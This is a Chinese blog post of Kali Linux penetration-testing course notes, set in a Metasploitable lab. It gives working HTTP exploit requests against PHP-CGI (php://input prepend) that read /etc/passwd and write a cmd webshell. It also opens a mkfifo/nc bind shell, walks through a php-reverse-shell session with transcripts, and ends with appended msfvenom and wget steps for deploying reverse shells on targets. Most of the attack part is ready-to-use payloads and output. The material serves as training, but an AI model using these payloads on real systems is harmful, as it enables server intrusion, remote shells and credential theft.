Kali Linux渗透测试 085 手动漏洞挖掘-php反弹shell.md

本文介绍Kali Linux 2018.1在渗透测试中的应用,涵盖手动漏洞挖掘原则、身份认证漏洞及默认安装漏洞等内容。通过具体案例演示如何利用phpMyAdmin和Ubuntu/Debian默认安装的PHP5-cgi进行攻击。

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 手动漏洞挖掘的原则
2. 漏洞的本质
3. 身份认证漏洞
	3-1. 针对身份认证
	3-2. 会话 SessionID
	3-3. 密码找回时的漏洞
4. 默认安装漏洞
	4-1. phpMyAdminsetup
		4-1-1. 测试 DVWA 的 phpMyAdmin 漏洞
		4-1-2. 写入简单 webshell
		4-1-3. PHP 反弹 shell
	4-2. Ubuntu Debian 默认安装 PHP5-cgi
		4-2-1. 测试漏洞
		4-2-2. 服务器打开侦听端口

手动漏洞挖掘的原则


  • 所有变量

  • 所有头

    Cookie的变量

  • 逐个变量删除

漏洞的本质


  • 数据与指令的混淆
  • 对用户输入信息过滤不严判断失误,误将指令当数据

身份认证漏洞


针对身份认证

  1. 使用常用弱口令/基于字典的密码暴力破解
  2. 测试是否锁定账号
  3. 测试基于手机号的用户名破解,可以在站内论坛收集用户信息
  4. 查看错误秘密提升信息,可以判断用户名或者密码错误
  5. 密码嗅探工具可以直接获取密码

会话 SessionID

  1. Xss / cookie importer
  2. SessionID in URL
  3. 使用嗅探工具.
  4. 测试 SessionID 是否是长期不变的
  5. 破译 SessionID 生成算法
    • Sequencer
    • 私有算法
    • 预判下一次登录时生成的 SessionID
    • 登出后返回测试

密码找回时的漏洞

  1. 在 URL 中存在密码的散列值,可以直接进行密码设置

#默认安装漏洞 #


phpMyAdmin/setup

测试 DVWA 的 phpMyAdmin 漏洞

  1. Burpsuite 测试命令

     POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
     Host: 192.168.20.10
    
     <?php
     passthru('id');
     die(); #dir()终止后续的显示
     ?>
    

    在这里插入图片描述

  2. 查看权限

     POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
     Host: 192.168.20.10
     Content-Length: 64
     
     <?php
     passthru('id');
     passthru('cat /etc/passwd');
     die();
     ?>
    
  3. 查看可以使用的命令

     POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
     Host: 192.168.20.10
     Content-Length: 114
     
     <?php
     passthru('id');
     passthru('cat /etc/passwd');
     passthru('ls');
     passthru('reboot');	#非管理员权限无法重启
     die();
     ?>
    
  4. 测试写入权限

     POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
     Host: 192.168.20.10
     Content-Length: 114
     
     <?php
     passthru('id');
     passthru('echo "123456789" > a.txt');
     passthru('cat a.txt');
     passthru('ls');
     die();
     ?>
    

写入简单 webshell

  1. 简单网页木马

     <?php
     \$cmd = \$_GET["cmd"];
     system(\$cmd);
     ?>
    
  2. 上传木马

     POST http://10.10.10.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
     Host: 192.168.20.10
     Content-Length: 133
     
     <?php
     passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php');
     passthru('cat /var/www/3.php');
     die();
     ?>
    
  3. 验证此简单木马

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

PHP 反弹 shell

  1. 获取 webshell

     root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/test.php
    
  2. 修改要反弹到的主机IP

    在这里插入图片描述

  3. 通过 POST 方法直接将文本内容发给目标服务器

    在这里插入图片描述

  4. 开始监听反弹的端口

     root@kali:~# nc -nvvlp 1234
     listening on [any] 1234 ...
    
  5. BurpSuite 发送请求,执行木马并反弹

    在这里插入图片描述

  6. 查看 nc 的监听情况

     root@kali:~# nc -nvvlp 1234
     listening on [any] 1234 ...
     connect to [10.10.10.131] from (UNKNOWN) [10.10.10.132] 43856
     Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
      04:28:00 up  2:57,  2 users,  load average: 0.03, 0.01, 0.00
     USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
     msfadmin tty1     -                03Mar18  1:48   0.01s  0.00s /bin/login -- 
     root     pts/0    :0.0             03Mar18 17days  0.00s  0.00s -bash
     uid=33(www-data) gid=33(www-data) groups=33(www-data)
     sh: no job control in this shell
     sh-3.2$ 
    
  7. 使用 nc 直接进行操作

     sh-3.2$ pwd
     /
     sh-3.2$ cd home
     sh-3.2$ ls
     ftp
     msfadmin
     service
     user
     sh-3.2$ pwd
     /home
     sh-3.2$ netstat -tulnp   
     sh-3.2$ which ifconfig
     sh-3.2$ whereis ifconfig                                          
     ifconfig: /sbin/ifconfig /usr/share/man/man8/ifconfig.8.gz
     sh-3.2$ /sbin/ifconfig
     eth0      Link encap:Ethernet  HWaddr 00:0c:29:d0:ab:2c  
               inet addr:10.10.10.132  Bcast:10.10.10.255  Mask:255.255.255.0
               inet6 addr: fe80::20c:29ff:fed0:ab2c/64 Scope:Link
               UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
               RX packets:3232 errors:0 dropped:0 overruns:0 frame:0
               TX packets:1065 errors:0 dropped:0 overruns:0 carrier:0
               collisions:0 txqueuelen:1000 
               RX bytes:301079 (294.0 KB)  TX bytes:278971 (272.4 KB)
               Base address:0x2000 Memory:fd5c0000-fd5e0000 
     sh-3.2$ 
    

Ubuntu / Debian 默认安装 PHP5-cgi

可直接访问 /cgi-bin/php5 和 /cgi-bin/php (爬不出来的目录)

测试漏洞

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 86

<?php
passthru('id');
echo exec('pwd');
echo system('cat /etc/passwd');
die();
?>

服务器打开侦听端口

  1. 服务器打开端口

     POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
     Host: 123
     Content-Length: 86
     
     <?php
     system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');
     die();
     ?>
    

    在这里插入图片描述

  2. kali 验证 shell

     root@kali:~# nc 10.10.10.132 4444
     ls
     php
     php5
     pwd
     /usr/lib/cgi-bin
     ls /var/www
     3.php
     dav
     dvwa
     index.php
     mutillidae
     phpMyAdmin
     phpinfo.php
     test
     tikiwiki
     tikiwiki-old
     twiki
    
  3. kali 端口 nc

     root@kali:~# nc 10.10.10.132 4444
     ls /var/www
     3.php
     dav
     dvwa
     index.php
     mutillidae
     phpMyAdmin
     phpinfo.php
     test
     tikiwiki
     tikiwiki-old
     twiki
     exit
     exit
     root@kali:~# 
    
  4. BurpSuite 上显示此次访问结束

    在这里插入图片描述

### 如何在 Kali Linux 中获取或使用 `php-reverse-shell.php` 文件 #### 获取 `php-reverse-shell.php` 文件 在渗透测试过程中,`php-reverse-shell.php` 是一种常用的工具文件,用于实现远程命令执行并返回一个反向 Shell。以下是几种方法可以获取该文件: 1. **从 Metasploit 自带资源中提取** 在 Kali Linux 的默认安装中,Metasploit 已经包含了生成 PHP 反向 Shell 的功能。可以通过以下方式生成所需的脚本: ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST=<你的IP地址> LPORT=<监听端口> -f raw > php-reverse-shell.php ``` 这条命令会生成一个名为 `php-reverse-shell.php` 的文件[^3]。 2. **手动下载官方版本** 如果需要更灵活的配置选项或者不想依赖于 Metasploit 自动生成,则可以从社区维护的仓库中下载标准版的 `php-reverse-shell.php` 脚本。例如: ```bash wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php ``` 3. **自定义修改现有模板** 下载后的 `php-reverse-shell.php` 文件通常需要设置攻击者的 IP 地址 (`LHOST`) 和端口号 (`LPORT`) 才能正常工作。打开文件后找到如下字段进行替换: ```php <?php $ip = '<你的IP地址>'; // 攻击者服务器的公网IP $port = <监听端口>; // 设置监听端口 ... ?> ``` #### 使用 `php-reverse-shell.php` 文件 完成上述步骤之后,就可以按照以下流程部署和利用此文件: 1. **上传至目标 Web 应用目录** 将生成好的 `php-reverse-shell.php` 文件上传到目标系统的可访问路径下。这一步可能需要用到 FTP、SCP 或其他文件传输手段[^5]。 2. **启动本地监听程序** 在 Kali 主机上运行 Netcat 或 Socat 来等待来自受害机器上的连接请求: ```bash nc -nvlp <监听端口> ``` 3. **触发恶意脚本执行** 当受害者加载含有嵌入式 PHP Reverse Shell 的页面时,它就会尝试回连指定的目标地址与端口组合。如果一切顺利的话,在终端窗口里应该能看到一个新的交互式的 Shell 提示符出现[^4]。 #### 注意事项 为了提高成功率以及规避潜在风险,请注意以下几点建议: - 确认所使用的 IP 地址为外部可达的有效地址; - 测试期间关闭防火墙规则以免干扰通信链路建立过程; - 对整个操作记录存档以便事后分析总结经验教训; ```python print("Example Python Code Block") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值